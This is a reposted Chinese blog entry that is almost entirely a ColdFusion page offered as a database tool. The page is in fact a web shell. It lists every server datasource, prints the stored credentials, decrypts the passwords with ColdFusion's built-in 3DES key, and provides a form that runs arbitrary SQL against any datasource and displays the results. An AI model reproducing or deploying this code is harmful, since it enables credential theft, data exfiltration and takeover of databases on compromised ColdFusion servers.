码迷,mamicode.com
首页 > 数据库 > 详细

coldfusion数据库操作页面

时间:2015-04-04 01:21:27      阅读:256      评论:0      收藏:0      [点我收藏+]

标签:statements   数据库操作   database   

<html>
<body>
<p><b>Notes:</b></p>
<hr>
<ul>
<li>Select the database you want to use</li>
<li>Write SQL statements in the text box</li>
</ul>
<p><b>Decrypt all datasource:</b></p>
<cfoutput>
<div align="left">

<cfset dsService = CreateObject("java", "coldfusion.server.ServiceFactory").DataSourceService />
<cfset o = dsService.getDataSources() />
<cfloop list="#structKeyList(o)#" index="i">
<cfset datasource = o[i] />
<cfoutput>
|~|#datasource.name#|#datasource.driver#|#datasource.url#|#datasource.username#|#datasource.password#|
<cfscript>
if(len(o[i]["password"])){
dp=Decrypt(o[i]["password"], generate3DesKey("0yJ!@1$r8p0L@r1$6yJ!@1rj"), "DESede", "Base64") ;
writeoutput( ""& dp&"");
}
</cfscript>
</br>
</cfoutput>
</cfloop> 
</div>
</cfoutput>
<hr>
<form method="POST" action="">
<p><b>SQL Interface:</b></p>
Datasource<br>
<select name="datasource">
<cfscript>
dataSourceObb=createobject("java","coldfusion.server.ServiceFactory").
        getDatasourceService().getDatasources();
        for(i in dataSourceObb) {
        writeoutput(‘<option value="‘ & i & ‘">‘ & i & ‘</option>‘);
        }
</cfscript>
</select>

<br>
SQL<br>
<textarea name="sql" rows="5" cols="100"></textarea>
<br>
<input type=submit value="Exec">
</form>

<cfif isdefined("form.sql")>
<cfquery name="runsql" datasource="#Form.datasource#" timeout="30">
        #Form.sql#
</cfquery>
</cfif>

<table border=1>
    <cfif isdefined("form.sql")>
    <cfloop from="0" to="#runsql.RecordCount#" index="row">
        <cfif row eq 0>
                <tr>
                        <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
                                <th><cfoutput>#column#</cfoutput></th>  
                        </cfloop>
                </tr>
        <cfelse>
                <tr>
                        <cfloop list="#runsql.ColumnList#" index="column" delimiters=",">
                                <td><cfoutput>#runsql[column][row]#</cfoutput></td>
                        </cfloop>
                </tr>
        </cfif>
    </cfloop>
    </cfif>
</table>



</body>
</html>


本文出自 “Sanr” 博客,请务必保留此出处http://0x007.blog.51cto.com/6330498/1628147

coldfusion数据库操作页面

标签:statements   数据库操作   database   

原文地址:http://0x007.blog.51cto.com/6330498/1628147

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!